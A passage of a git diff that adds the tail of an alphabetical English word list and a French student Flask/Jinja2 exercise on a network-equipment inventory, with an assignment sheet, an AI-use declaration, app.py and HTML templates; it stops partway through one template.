+regulatory +rehab +rehabilitation +reid +reject +rejected +rel +relate +related +relates +relating +relation +relations +relationship +relationships +relative +relatively +relatives +relax +relaxation +relay +release +released +releases +relevance +relevant +reliability +reliable +reliance +relief +religion +religions +religious +reload +relocation +rely +relying +remain +remainder +remained +remaining +remains +remark +remarkable +remarks +remedies +remedy +remember +remembered +remind +reminder +remix +remote +removable +removal +remove +removed +removing +renaissance +render +rendered +rendering +renew +renewable +renewal +reno +rent +rental +rentals +rentcom +rep +repair +repairs +repeat +repeated +replace +replaced +replacement +replacing +replica +replication +replied +replies +reply +report +reported +reporter +reporters +reporting +reports +repository +represent +representation +representations +representative +representatives +represented +representing +represents +reprint +reprints +reproduce +reproduced +reproduction +reproductive +republic +republican +republicans +reputation +request +requested +requesting +requests +require +required +requirement +requirements +requires +requiring +res +rescue +research +researcher +researchers +reseller +reservation +reservations +reserve +reserved +reserves +reservoir +reset +residence +resident +residential +residents +resist +resistance +resistant +resolution +resolutions +resolve +resolved +resort +resorts +resource +resources +respect +respected +respective +respectively +respiratory +respond +responded +respondent +respondents +responding +response +responses +responsibilities +responsibility +responsible +rest +restaurant +restaurants +restoration +restore +restored +restrict +restricted +restriction +restrictions +restructuring +result +resulted +resulting +results +resume +resumes +retail +retailer +retailers +retain +retained +retention +retired +retirement +retreat +retrieval +retrieve +retrieved +retro +return +returned +returning +returns +reunion +reuters +rev +reveal +revealed +reveals +revelation +revenge +revenue +revenues +reverse +review +reviewed +reviewer +reviewing +reviews +revised +revision +revisions +revolution +revolutionary +reward +rewards +reynolds +rf +rfc +rg +rh +rhode +rhythm +ri +ribbon +rica +rice +rich +richard +richards +richardson +richmond +rick +rico +rid +ride +rider +riders +rides +ridge +riding +right +rights +rim +ring +rings +ringtone +ringtones +rio +rip +ripe +rise +rising +risk +risks +river +rivers +riverside +rj +rl +rm +rn +rna +ro +road +roads +rob +robert +roberts +robertson +robin +robinson +robot +robots +robust +rochester +rock +rocket +rocks +rocky +rod +roger +rogers +roland +role +roles +roll +rolled +roller +rolling +rolls +rom +roman +romance +romania +romantic +rome +ron +ronald +roof +room +roommate +roommates +rooms +root +roots +rope +rosa +rose +roses +ross +roster +rotary +rotation +rouge +rough +roughly +roulette +round +rounds +route +router +routers +routes +routine +routines +routing +rover +row +rows +roy +royal +royalty +rp +rpg +rpm +rr +rrp +rs +rss +rt +ru +rubber +ruby +rug +rugby +rugs +rule +ruled +rules +ruling +run +runner +running +runs +runtime +rural +rush +russell +russia +russian +ruth +rv +rw +rwanda +rx +ryan +s +sa +sacramento +sacred +sacrifice +sad +saddam +safari +safe +safely +safer +safety +sage +sagem +said +sail +sailing +saint +saints +sake +salad +salaries +salary +sale +salem +sales +sally +salmon +salon +salt +salvador +salvation +sam +samba +same +samoa +sample +samples +sampling +samsung +samuel +san +sand +sandra +sandwich +sandy +sans +santa +sanyo +sao +sap +sapphire +sara +sarah +sas +saskatchewan +sat +satellite +satin +satisfaction +satisfactory +satisfied +satisfy +saturday +saturn +sauce +saudi +savage +savannah +save +saved +saver +saves +saving +savings +saw +say +saying +says +sb +sbjct +sc +scale +scales +scan +scanned +scanner +scanners +scanning +scary +scenario +scenarios +scene +scenes +scenic +schedule +scheduled +schedules +scheduling +schema +scheme +schemes +scholar +scholars +scholarship +scholarships +school +schools +sci +science +sciences +scientific +scientist +scientists +scoop +scope +score +scored +scores +scoring +scotia +scotland +scott +scottish +scout +scratch +screen +screening +screens +screensaver +screensavers +screenshot +screenshots +screw +script +scripting +scripts +scroll +scsi +scuba +sculpture +sd +se +sea +seafood +seal +sealed +sean +search +searchcom +searched +searches +searching +seas +season +seasonal +seasons +seat +seating +seats +seattle +sec +second +secondary +seconds +secret +secretariat +secretary +secrets +section +sections +sector +sectors +secure +secured +securely +securities +security +see +seed +seeds +seeing +seek +seeker +seekers +seeking +seeks +seem +seemed +seems +seen +sees +sega +segment +segments +select +selected +selecting +selection +selections +selective +self +sell +seller +sellers +selling +sells +semester +semi +semiconductor +seminar +seminars +sen +senate +senator +senators +send +sender +sending +sends +senegal +senior +seniors +sense +sensitive +sensitivity +sensor +sensors +sent +sentence +sentences +seo +sep +separate +separated +separately +separation +sept +september +seq +sequence +sequences +ser +serbia +serial +series +serious +seriously +serum +serve +served +server +servers +serves +service +services +serving +session +sessions +set +sets +setting +settings +settle +settled +settlement +setup +seven +seventh +several +severe +sewing +sex +sexcam +sexo +sexual +sexuality +sexually +sexy +sf +sg +sh +shade +shades +shadow +shadows +shaft +shake +shakespeare +shakira +shall +shame +shanghai +shannon +shape +shaped +shapes +share +shared +shareholders +shares +shareware +sharing +shark +sharon +sharp +shaved +shaw +she +shed +sheep +sheer +sheet +sheets +sheffield +shelf +shell +shelter +shemale +shemales +shepherd +sheriff +sherman +shield +shift +shine +ship +shipment +shipments +shipped +shipping +ships +shirt +shirts +shit +shock +shoe +shoes +shoot +shooting +shop +shopper +shoppercom +shoppers +shopping +shoppingcom +shops +shopzilla +shore +short +shortcuts +shorter +shortly +shorts +shot +shots +should +shoulder +show +showcase +showed +shower +showers +showing +shown +shows +showtimes +shut +shuttle +si +sic +sick +side +sides +sie +siemens +sierra +sig +sight +sigma +sign +signal +signals +signature +signatures +signed +significance +significant +significantly +signing +signs +signup +silence +silent +silicon +silk +silly +silver +sim +similar +similarly +simon +simple +simplified +simply +simpson +simpsons +sims +simulation +simulations +simultaneously +sin +since +sing +singapore +singer +singh +singing +single +singles +sink +sip +sir +sister +sisters +sit +site +sitemap +sites +sitting +situated +situation +situations +six +sixth +size +sized +sizes +sk +skating +ski +skiing +skill +skilled +skills +skin +skins +skip +skirt +skirts +sku +sky +skype +sl +slave +sleep +sleeping +sleeps +sleeve +slide +slides +slideshow +slight +slightly +slim +slip +slope +slot +slots +slovak +slovakia +slovenia +slow +slowly +slut +sluts +sm +small +smaller +smart +smell +smile +smilies +smith +smithsonian +smoke +smoking +smooth +sms +smtp +sn +snake +snap +snapshot +snow +snowboard +so +soa +soap +soc +soccer +social +societies +society +sociology +socket +socks +sodium +sofa +soft +softball +software +soil +sol +solar +solaris +sold +soldier +soldiers +sole +solely +solid +solo +solomon +solution +solutions +solve +solved +solving +soma +somalia +some +somebody +somehow +someone +somerset +something +sometimes +somewhat +somewhere +son +song +songs +sonic +sons +sony +soon +soonest +sophisticated +sorry +sort +sorted +sorts +sought +soul +souls +sound +sounds +soundtrack +soup +source +sources +south +southampton +southeast +southern +southwest +soviet +sox +sp +spa +space +spaces +spain +spam +span +spanish +spank +spanking +sparc +spare +spas +spatial +speak +speaker +speakers +speaking +speaks +spears +spec +special +specialist +specialists +specialized +specializing +specially +specials +specialties +specialty +species +specific +specifically +specification +specifications +specifics +specified +specifies +specify +specs +spectacular +spectrum +speech +speeches +speed +speeds +spell +spelling +spencer +spend +spending +spent +sperm +sphere +spice +spider +spies +spin +spine +spirit +spirits +spiritual +spirituality +split +spoke +spoken +spokesman +sponsor +sponsored +sponsors +sponsorship +sport +sporting +sports +spot +spotlight +spots +spouse +spray +spread +spreading +spring +springer +springfield +springs +sprint +spy +spyware +sq +sql +squad +square +squirt +squirting +sr +src +sri +ss +ssl +st +stability +stable +stack +stadium +staff +staffing +stage +stages +stainless +stakeholders +stamp +stamps +stan +stand +standard +standards +standing +standings +stands +stanford +stanley +star +starring +stars +starsmerchant +start +started +starter +starting +starts +startup +stat +state +stated +statement +statements +states +statewide +static +stating +station +stationery +stations +statistical +statistics +stats +status +statute +statutes +statutory +stay +stayed +staying +stays +std +ste +steady +steal +steam +steel +steering +stem +step +stephanie +stephen +steps +stereo +sterling +steve +steven +stevens +stewart +stick +sticker +stickers +sticks +sticky +still +stock +stockholm +stockings +stocks +stolen +stomach +stone +stones +stood +stop +stopped +stopping +stops +storage +store +stored +stores +stories +storm +story +str +straight +strain +strand +strange +stranger +strap +strategic +strategies +strategy +stream +streaming +streams +street +streets +strength +strengthen +strengthening +strengths +stress +stretch +strict +strictly +strike +strikes +striking +string +strings +strip +stripes +strips +stroke +strong +stronger +strongly +struck +struct +structural +structure +structured +structures +struggle +stuart +stuck +stud +student +students +studied +studies +studio +studios +study +studying +stuff +stuffed +stunning +stupid +style +styles +stylish +stylus +su +sub +subaru +subcommittee +subdivision +subject +subjects +sublime +sublimedirectory +submission +submissions +submit +submitted +submitting +subscribe +subscriber +subscribers +subscription +subscriptions +subsection +subsequent +subsequently +subsidiaries +subsidiary +substance +substances +substantial +substantially +substitute +subtle +suburban +succeed +success +successful +successfully +such +suck +sucking +sucks +sudan +sudden +suddenly +sue +suffer +suffered +suffering +sufficient +sufficiently +sugar +suggest +suggested +suggesting +suggestion +suggestions +suggests +suicide +suit +suitable +suite +suited +suites +suits +sullivan +sum +summaries +summary +summer +summit +sun +sunday +sunglasses +sunny +sunrise +sunset +sunshine +super +superb +superintendent +superior +supervision +supervisor +supervisors +supplement +supplemental +supplements +supplied +supplier +suppliers +supplies +supply +support +supported +supporters +supporting +supports +suppose +supposed +supreme +sur +sure +surely +surf +surface +surfaces +surfing +surge +surgeon +surgeons +surgery +surgical +surname +surplus +surprise +surprised +surprising +surrey +surround +surrounded +surrounding +surveillance +survey +surveys +survival +survive +survivor +survivors +susan +suse +suspect +suspected +suspended +suspension +sussex +sustainability +sustainable +sustained +suzuki +sv +sw +swap +sweden +swedish +sweet +swift +swim +swimming +swing +swingers +swiss +switch +switched +switches +switching +switzerland +sword +sydney +symantec +symbol +symbols +sympathy +symphony +symposium +symptoms +sync +syndicate +syndication +syndrome +synopsis +syntax +synthesis +synthetic +syracuse +syria +sys +system +systematic +systems +t +ta +tab +table +tables +tablet +tablets +tabs +tackle +tactics +tag +tagged +tags +tahoe +tail +taiwan +take +taken +takes +taking +tale +talent +talented +tales +talk +talked +talking +talks +tall +tamil +tampa +tan +tank +tanks +tanzania +tap +tape +tapes +tar +target +targeted +targets +tariff +task +tasks +taste +tattoo +taught +tax +taxation +taxes +taxi +taylor +tb +tba +tc +tcp +td +te +tea +teach +teacher +teachers +teaches +teaching +team +teams +tear +tears +tech +technical +technician +technique +techniques +techno +technological +technologies +technology +techrepublic +ted +teddy +tee +teen +teenage +teens +teeth +tel +telecharger +telecom +telecommunications +telephone +telephony +telescope +television +televisions +tell +telling +tells +temp +temperature +temperatures +template +templates +temple +temporal +temporarily +temporary +ten +tenant +tend +tender +tennessee +tennis +tension +tent +term +terminal +terminals +termination +terminology +terms +terrace +terrain +terrible +territories +territory +terror +terrorism +terrorist +terrorists +terry +test +testament +tested +testimonials +testimony +testing +tests +tex +texas +text +textbook +textbooks +textile +textiles +texts +texture +tf +tft +tgp +th +thai +thailand +than +thank +thanks +thanksgiving +that +thats +the +theater +theaters +theatre +thee +theft +thehun +their +them +theme +themes +themselves +then +theology +theorem +theoretical +theories +theory +therapeutic +therapist +therapy +there +thereafter +thereby +therefore +thereof +thermal +thesaurus +these +thesis +they +thick +thickness +thin +thing +things +think +thinking +thinkpad +thinks +third +thirty +this +thomas +thompson +thomson +thong +thongs +thorough +thoroughly +those +thou +though +thought +thoughts +thousand +thousands +thread +threaded +threads +threat +threatened +threatening +threats +three +threesome +threshold +thriller +throat +through +throughout +throw +throwing +thrown +throws +thru +thu +thumb +thumbnail +thumbnails +thumbs +thumbzilla +thunder +thursday +thus +thy +ti +ticket +tickets +tide +tie +tied +tier +ties +tiffany +tiger +tigers +tight +til +tile +tiles +till +tim +timber +time +timeline +timely +timer +times +timing +timothy +tin +tiny +tion +tions +tip +tips +tire +tired +tires +tissue +tit +titanium +titans +title +titled +titles +tits +titten +tm +tmp +tn +to +tobacco +tobago +today +todd +toddler +toe +together +toilet +token +tokyo +told +tolerance +toll +tom +tomato +tomatoes +tommy +tomorrow +ton +tone +toner +tones +tongue +tonight +tons +tony +too +took +tool +toolbar +toolbox +toolkit +tools +tooth +top +topic +topics +topless +tops +toronto +torture +toshiba +total +totally +totals +touch +touched +tough +tour +touring +tourism +tourist +tournament +tournaments +tours +toward +towards +tower +towers +town +towns +township +toxic +toy +toyota +toys +tp +tr +trace +track +trackback +trackbacks +tracked +tracker +tracking +tracks +tract +tractor +tracy +trade +trademark +trademarks +trader +trades +trading +tradition +traditional +traditions +traffic +tragedy +trail +trailer +trailers +trails +train +trained +trainer +trainers +training +trains +tramadol +trance +tranny +trans +transaction +transactions +transcript +transcription +transcripts +transexual +transexuales +transfer +transferred +transfers +transform +transformation +transit +transition +translate +translated +translation +translations +translator +transmission +transmit +transmitted +transparency +transparent +transport +transportation +transsexual +trap +trash +trauma +travel +traveler +travelers +traveling +traveller +travelling +travels +travesti +travis +tray +treasure +treasurer +treasures +treasury +treat +treated +treating +treatment +treatments +treaty +tree +trees +trek +trembl +tremendous +trend +trends +treo +tri +trial +trials +triangle +tribal +tribe +tribes +tribunal +tribune +tribute +trick +tricks +tried +tries +trigger +trim +trinidad +trinity +trio +trip +tripadvisor +triple +trips +triumph +trivia +troops +tropical +trouble +troubleshooting +trout +troy +truck +trucks +true +truly +trunk +trust +trusted +trustee +trustees +trusts +truth +try +trying +ts +tsunami +tt +tu +tub +tube +tubes +tucson +tue +tuesday +tuition +tulsa +tumor +tune +tuner +tunes +tuning +tunisia +tunnel +turbo +turkey +turkish +turn +turned +turner +turning +turns +turtle +tutorial +tutorials +tv +tvcom +tvs +twelve +twenty +twice +twiki +twin +twinks +twins +twist +twisted +two +tx +ty +tyler +type +types +typical +typically +typing +u +uc +uganda +ugly +uh +ui +uk +ukraine +ul +ultimate +ultimately +ultra +ultram +um +un +una +unable +unauthorized +unavailable +uncertainty +uncle +und +undefined +under +undergraduate +underground +underlying +understand +understanding +understood +undertake +undertaken +underwear +undo +une +unemployment +unexpected +unfortunately +uni +unified +uniform +union +unions +uniprotkb +unique +unit +united +units +unity +univ +universal +universe +universities +university +unix +unknown +unless +unlike +unlikely +unlimited +unlock +unnecessary +unsigned +unsubscribe +until +untitled +unto +unusual +unwrap +up +upc +upcoming +update +updated +updates +updating +upgrade +upgrades +upgrading +upload +uploaded +upon +upper +ups +upset +upskirt +upskirts +ur +urban +urge +urgent +uri +url +urls +uruguay +urw +us +usa +usage +usb +usc +usd +usda +use +used +useful +user +username +users +uses +usgs +using +usps +usr +usual +usually +ut +utah +utc +utilities +utility +utilization +utilize +utils +uv +uw +uzbekistan +v +va +vacancies +vacation +vacations +vaccine +vacuum +vagina +val +valentine +valid +validation +validity +valium +valley +valuable +valuation +value +valued +values +valve +valves +vampire +van +vancouver +vanilla +var +variable +variables +variance +variation +variations +varied +varies +variety +various +vary +varying +vast +vat +vatican +vault +vb +vbulletin +vc +vcr +ve +vector +vegas +vegetable +vegetables +vegetarian +vegetation +vehicle +vehicles +velocity +velvet +vendor +vendors +venezuela +venice +venture +ventures +venue +venues +ver +verbal +verde +verification +verified +verify +verizon +vermont +vernon +verse +version +versions +versus +vertex +vertical +very +verzeichnis +vessel +vessels +veteran +veterans +veterinary +vg +vhs +vi +via +viagra +vibrator +vibrators +vic +vice +victim +victims +victor +victoria +victorian +victory +vid +video +videos +vids +vienna +vietnam +vietnamese +view +viewed +viewer +viewers +viewing +viewpicture +views +vii +viii +viking +villa +village +villages +villas +vincent +vintage +vinyl +violation +violations +violence +violent +violin +vip +viral +virgin +virginia +virtual +virtually +virtue +virus +viruses +visa +visibility +visible +vision +visit +visited +visiting +visitor +visitors +visits +vista +visual +vital +vitamin +vitamins +vocabulary +vocal +vocals +vocational +voice +voices +void +voip +vol +volkswagen +volleyball +volt +voltage +volume +volumes +voluntary +volunteer +volunteers +volvo +von +vote +voted +voters +votes +voting +voyeur +voyeurweb +voyuer +vp +vpn +vs +vsnet +vt +vulnerability +vulnerable +w +wa +wage +wages +wagner +wagon +wait +waiting +waiver +wake +wal +wales +walk +walked +walker +walking +walks +wall +wallace +wallet +wallpaper +wallpapers +walls +walnut +walt +walter +wan +wang +wanna +want +wanted +wanting +wants +war +warcraft +ward +ware +warehouse +warm +warming +warned +warner +warning +warnings +warrant +warranties +warranty +warren +warrior +warriors +wars +was +wash +washer +washing +washington +waste +watch +watched +watches +watching +water +waterproof +waters +watershed +watson +watt +watts +wav +wave +waves +wax +way +wayne +ways +wb +wc +we +weak +wealth +weapon +weapons +wear +wearing +weather +web +webcam +webcams +webcast +weblog +weblogs +webmaster +webmasters +webpage +webshots +website +websites +webster +wed +wedding +weddings +wednesday +weed +week +weekend +weekends +weekly +weeks +weight +weighted +weights +weird +welcome +welding +welfare +well +wellington +wellness +wells +welsh +wendy +went +were +wesley +west +western +westminster +wet +whale +what +whatever +whats +wheat +wheel +wheels +when +whenever +where +whereas +wherever +whether +which +while +whilst +white +who +whole +wholesale +whom +whore +whose +why +wi +wichita +wicked +wide +widely +wider +widescreen +widespread +width +wife +wifi +wiki +wikipedia +wild +wilderness +wildlife +wiley +will +william +williams +willing +willow +wilson +win +wind +window +windows +winds +windsor +wine +wines +wing +wings +winner +winners +winning +wins +winston +winter +wire +wired +wireless +wires +wiring +wisconsin +wisdom +wise +wish +wishes +wishlist +wit +witch +with +withdrawal +within +without +witness +witnesses +wives +wizard +wm +wma +wn +wolf +woman +women +womens +won +wonder +wonderful +wondering +wood +wooden +woods +wool +worcester +word +wordpress +words +work +worked +worker +workers +workflow +workforce +working +workout +workplace +works +workshop +workshops +workstation +world +worldcat +worlds +worldsex +worldwide +worm +worn +worried +worry +worse +worship +worst +worth +worthy +would +wound +wow +wp +wr +wrap +wrapped +wrapping +wrestling +wright +wrist +write +writer +writers +writes +writing +writings +written +wrong +wrote +ws +wt +wto +wu +wv +ww +www +wx +wy +wyoming +x +xanax +xbox +xerox +xhtml +xi +xl +xml +xnxx +xp +xx +xxx +y +ya +yacht +yahoo +yale +yamaha +yang +yard +yards +yarn +ye +yea +yeah +year +yearly +years +yeast +yellow +yemen +yen +yes +yesterday +yet +yield +yields +yn +yo +yoga +york +yorkshire +you +young +younger +your +yours +yourself +youth +yr +yrs +yu +yugoslavia +yukon +z +za +zambia +zdnet +zealand +zen +zero +zimbabwe +zinc +zip +zoloft +zone +zones +zoning +zoo +zoom +zoophilia +zope +zshops +zu +zum +zus diff --git a/Semaine_11/Jour_02/.python-version b/Semaine_11/Jour_02/.python-version new file mode 100644 index 0000000..6324d40 --- /dev/null +++ b/Semaine_11/Jour_02/.python-version @@ -0,0 +1 @@ +3.14 diff --git a/Semaine_11/Jour_02/3_3_Jinja2/BOICHE_Gauvain_3_3_Jinja2.zip b/Semaine_11/Jour_02/3_3_Jinja2/BOICHE_Gauvain_3_3_Jinja2.zip new file mode 100644 index 0000000..03c9154 Binary files /dev/null and b/Semaine_11/Jour_02/3_3_Jinja2/BOICHE_Gauvain_3_3_Jinja2.zip differ diff --git a/Semaine_11/Jour_02/3_3_Jinja2/Exercice 3.3 - Templates dynamiques.md b/Semaine_11/Jour_02/3_3_Jinja2/Exercice 3.3 - Templates dynamiques.md new file mode 100644 index 0000000..f8efd09 --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/Exercice 3.3 - Templates dynamiques.md @@ -0,0 +1,180 @@ +# Exercice 3.3 - Jinja2 multi-pages + +## Navigation + templates dynamiques (sans base de données) + +--- + +## Objectifs pédagogiques + +* structurer une application Flask avec plusieurs routes ; +* générer plusieurs pages HTML avec Jinja2 ; +* utiliser des templates réutilisables ; +* exploiter des données simulées côté serveur (Python) ; +* manipuler boucles et conditions dans Jinja2 ; +* construire une navigation entre pages ; +* séparer clairement logique serveur et affichage. + +--- + +# Contexte + +Vous développez une mini application de type **tableau de bord de gestion de parc informatique**. + +Les données sont **simulées en mémoire (liste Python)**. + +L’application doit permettre : + +* d’afficher une liste globale des équipements ; +* de voir uniquement les équipements actifs ; +* de consulter une page de détail par équipement ; +* de naviguer entre les pages via des liens HTML. + +--- + +# Structure proposée + +``` +app.py +/templates + base.html + index.html + actifs.html + detail.html +``` + +--- + +# Travail demandé + +--- + +## Étape 1 - Initialiser l’application Flask + +Créer une application Flask fonctionnelle. +L’application doit pouvoir afficher une page d’accueil. + +--- + +## Étape 2 - Créer les données simulées + +Définir côté serveur une liste Python représentant des équipements. +Chaque équipement contient : + +* un identifiant ; +* un nom ; +* un statut (actif / inactif) ; +* une catégorie (serveur, poste, réseau, etc.). + +Ces données sont **fixes et non modifiables**. + +--- + +## Étape 3 - Créer une structure de templates + +Mettre en place : + +* un template principal servant de base commune ; +* une structure avec bloc de contenu réutilisable ; +* un menu de navigation commun à toutes les pages. + +Le menu doit permettre de naviguer entre les pages principales. + +--- + +## Étape 4 - Page d’accueil (liste complète) + +Créer une route et une page affichant : + +* la liste complète des équipements ; +* toutes leurs informations. + +Dans le template : + +* utiliser une boucle Jinja2 ; +* afficher chaque équipement dans un bloc structuré ; +* distinguer visuellement les équipements actifs et inactifs avec une condition. + +--- + +## Étape 5 - Page “équipements actifs” + +Créer une page dédiée affichant uniquement : +* les équipements actifs. + +La logique de filtrage doit être réalisée côté serveur (Python), pas dans le template. + +Dans le template : +* afficher uniquement les éléments fournis par la vue ; +* utiliser une boucle simple sans logique complexe. + +--- + +## Étape 6 - Page de détail d’un équipement + +Créer une route dynamique permettant d’afficher : +* un équipement spécifique selon son identifiant. + +La page doit afficher : +* toutes les informations de l’équipement ; +* un message d’erreur si l’identifiant n’existe pas. + +Dans le template : +* utiliser des variables Jinja2 ; +* utiliser une condition pour gérer le cas “non trouvé”. + +--- + +## Étape 7 - Navigation entre pages + +Dans le template principal : +* ajouter un menu de navigation commun ; +* permettre d’accéder à toutes les pages ; +* assurer une cohérence visuelle sur toutes les vues. + +--- + +## Étape 8 - Mise en forme Jinja2 obligatoire + +Dans les templates, vous devez utiliser : +* des boucles `{% for %}` ; +* des conditions `{% if %}` ; +* des variables `{{ }}` ; +* au moins un bloc réutilisable (`block`) ; +* une logique de filtrage côté Python (obligatoire). + +--- + +## Étape 9 + +Ajouter : +* une page “statistiques” affichant : + + * nombre total d’équipements ; + * nombre d’actifs ; + * nombre d’inactifs ; +* un message conditionnel si la liste est vide dans une page. + +--- + +# Livrables attendus + +* application Flask fonctionnelle ; +* plusieurs routes Python ; +* 3 à 4 templates Jinja2 ; +* aucune base de données ; +* aucune méthode POST ; +* aucune modification de données. + +--- + +# Compétences évaluées + +| Compétence | Niveau attendu | +| ---------------------- | ------------------------------- | +| Flask routing | Plusieurs routes fonctionnelles | +| Jinja2 | Boucles + conditions maîtrisées | +| Architecture templates | base.html + héritage | +| Séparation logique/vue | filtrage côté Python | +| Navigation web | cohérence UX simple | +| Lecture de données | affichage structuré | + diff --git a/Semaine_11/Jour_02/3_3_Jinja2/USAGE-IA.md b/Semaine_11/Jour_02/3_3_Jinja2/USAGE-IA.md new file mode 100644 index 0000000..99ce98c --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/USAGE-IA.md @@ -0,0 +1,61 @@ +# Exo 3.3 "Templates dynamiques" - BOICHÉ Gauvain + +Je déclare avec fait usage de l'IA : + +# Raison 1 + +Pour de "l'autocomplétion" avec le plan gratuit de Github Copilot (modèle inconnu) pour générer la base html parce que ça me casse un peu les noix de refaire ça. C'est un genre d'aamorçage qui devrait exister de base dans les IDE avec un algo à l'ancienne ultra-léger... + +## Pourquoi cet usage + +Parce que ça me gonfle de refaire ça pour la Xième fois parce que je ne l'ai pas retenu tellement l'HTML me gonfle. + +## Ce que j'en retiens + +Je dois trouver une extension qui le fait pour moi. + +# Raison 2 + +Comprendre pourquoi mes pages Jinja2 ne "marchent pas". + +## Pourquoi cet usage + +Refaisant un document pour chaque page, je n'ai pas su comprendre par les docs accessibles (qui donnaient juste les blocs avec % et variables Python) qu'il fallait les peupler UNIQUEMENT des éléments étendant la "base". Que l'HTML s'oubliait sur ces parties-là. Je prenais les blocs en le mettant dans des balises etc sans succès. + +## Ce que j'en ai retenu + +Les patrons Jinja2 héritent de TOUT, et on ne rajotue que ce qu'il y a besoin. y compris les bases DOCTYPE. + +# Raison 3 + +## Pourquoi cet usage + +Je cliquais sur "actives" et "details" mais je restait avec le contenu de "index". Je demande une revue de code à MiniMax M3, qui me diagnostique trois possibilités : + +| Symptom | Likely cause | Remedy | +|---------|--------------|--------| +|Same content on every page | Browser cache serving the old HTML | Hard-reload: Ctrl + F5 (or Cmd + Shift + R on macOS) | +URL changes but body identical | A single route handling all paths | Verify each @app.route is distinct | +Template not overridden | Missing {% block content %} in child | Ensure children declare the block | + +J'essaye, et rien. + +## Ce que j'en ai retenu + +Que je suis un imbécile. Je demande à l'IA de m'aider, et rien n'y a fait. Jusqu'à ce que je vois ma connerie : + +``` +@app.route('/') +def index(): + return render_template('index.html', username=USERNAME, equipments=EQUIPMENTS) + +@app.route('/actives') +def actives(): + return render_template('index.html', username=USERNAME, equipments=EQUIPMENTS) + +@app.route('/details') +def details(): + return render_template('index.html', username=USERNAME, equipments=EQUIPMENTS) +``` + +Trois fois "index.html". Bon. Résultat, je corrige et ça marche. L'IA ne m'a servi à RIEN ici, sauf ceci : des fois, il faut aller faire un tour, boire de l'eau, revenir et relire. \ No newline at end of file diff --git a/Semaine_11/Jour_02/3_3_Jinja2/app.py b/Semaine_11/Jour_02/3_3_Jinja2/app.py new file mode 100644 index 0000000..c5a2541 --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/app.py @@ -0,0 +1,54 @@ +from flask import Flask, render_template, abort + +app = Flask(__name__) + +EQUIPMENTS = [ + {"id": 1, "hostname": "srv-web-main-01", "type": "server", "active": True}, + {"id": 2, "hostname": "sw-access-01", "type": "switch", "active": True}, + {"id": 3, "hostname": "srv-api-01", "type": "server", "active": True}, + {"id": 4, "hostname": "waf-front-01", "type": "waf", "active": True}, + {"id": 5, "hostname": "individual-alice-01", "type": "instance", "active": True}, + {"id": 6, "hostname": "sw-access-02", "type": "switch", "active": False}, + {"id": 7, "hostname": "individual-bob-01", "type": "instance", "active": False}, + {"id": 8, "hostname": "srv-web-replica-01", "type": "server", "active": True}, +] + +USERNAME = "administratort" + +@app.route('/') +def index(): + return render_template('index.html', username=USERNAME, equipments=EQUIPMENTS) + +@app.route('/actives') +def actives(): + ACTIVE_EQUIPMENTS = [e for e in EQUIPMENTS if e["active"]] + return render_template('actives.html', username=USERNAME, equipments=ACTIVE_EQUIPMENTS) + +@app.route('/list') +def details(): + return render_template('list.html', username=USERNAME, equipments=EQUIPMENTS) + +@app.route("/details/") +def equipment_detail(equipment_id): + equipment = next((e for e in EQUIPMENTS if e["id"] == equipment_id), None) + return render_template( + "details.html", + username=USERNAME, + equipment=equipment, + ) + +@app.route("/stats") +def stats(): + total = len(EQUIPMENTS) + active = sum(1 for e in EQUIPMENTS if e["active"]) + inactive = total - active + return render_template( + "stats.html", + username=USERNAME, + total=total, + active=active, + inactive=inactive, + ) + +if __name__ == '__main__': + app.run(host='127.0.0.1', port=5000, debug=True) \ No newline at end of file diff --git a/Semaine_11/Jour_02/3_3_Jinja2/templates/actives.html b/Semaine_11/Jour_02/3_3_Jinja2/templates/actives.html new file mode 100644 index 0000000..770c24c --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/templates/actives.html @@ -0,0 +1,16 @@ +{% extends "base.html" %} + +{% block title %}Active devices - Network Inventory{% endblock %} + +{% block content %} +

Active devices

+

Signed-in as {{ username }}.

+ +
    + {% for equipment in equipments %} +
  • {{ equipment.hostname }}
  • + {% else %} +
  • No active device.
  • + {% endfor %} +
+{% endblock %} diff --git a/Semaine_11/Jour_02/3_3_Jinja2/templates/base.html b/Semaine_11/Jour_02/3_3_Jinja2/templates/base.html new file mode 100644 index 0000000..2533e50 --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/templates/base.html @@ -0,0 +1,35 @@ + + + + + {% block title %}NETWORK INVENTORY{% endblock %} + + + +
+ + +
+ +
+ {% block content %}{% endblock %} +
+ +
Gauvain B. - Flask Jinja2 app
+ + diff --git a/Semaine_11/Jour_02/3_3_Jinja2/templates/details.html b/Semaine_11/Jour_02/3_3_Jinja2/templates/details.html new file mode 100644 index 0000000..aefac67 --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/templates/details.html @@ -0,0 +1,43 @@ +{% extends "base.html" %} + +{% block title %}Equipment - Network Inventory{% endblock %} + +{% block content %} +

Signed-in as {{ username }}.

+ + {% if equipment %} +

{{ equipment.hostname }}

+ + + + + + + + + + + + + + + + + + + + +
ID{{ equipment.id }}
Hostname{{ equipment.hostname }}
Type{{ equipment.type }}
State + {% if equipment.active %} + UP + {% else %} + DOWN + {% endif %} +
+ {% else %} +

There's no device with this ID

+

The requested equipment (ID {{ equipment_id }}) does not exist.

+ {% endif %} + +

← Back to all devices

+{% endblock %} diff --git a/Semaine_11/Jour_02/3_3_Jinja2/templates/index.html b/Semaine_11/Jour_02/3_3_Jinja2/templates/index.html new file mode 100644 index 0000000..28bacb5 --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/templates/index.html @@ -0,0 +1,20 @@ +{% extends "base.html" %} + +{% block title %}Home - Network Inventory{% endblock %} + +{% block content %} +

Welcome, {{ username }}.

+ + {% if username == "administratort" %} +

You signed-in with ADMIN rights.

+ {% else %} +

You signed-in with USER rights.

+ {% endif %} + +

Devices list:

+
    + {% for equipment in equipments %} +
  • {{ equipment.hostname }}
  • + {% endfor %} +
+{% endblock %} diff --git a/Semaine_11/Jour_02/3_3_Jinja2/templates/list.html b/Semaine_11/Jour_02/3_3_Jinja2/templates/list.html new file mode 100644 index 0000000..6faf6f2 --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/templates/list.html @@ -0,0 +1,39 @@ +{% extends "base.html" %} + +{% block title %}Details - Network Inventory{% endblock %} + +{% block content %} +

Device details

+

Signed-in as {{ username }}.

+ + + + + + + + + + + + {% for equipment in equipments %} + + + + + + + {% endfor %} + +
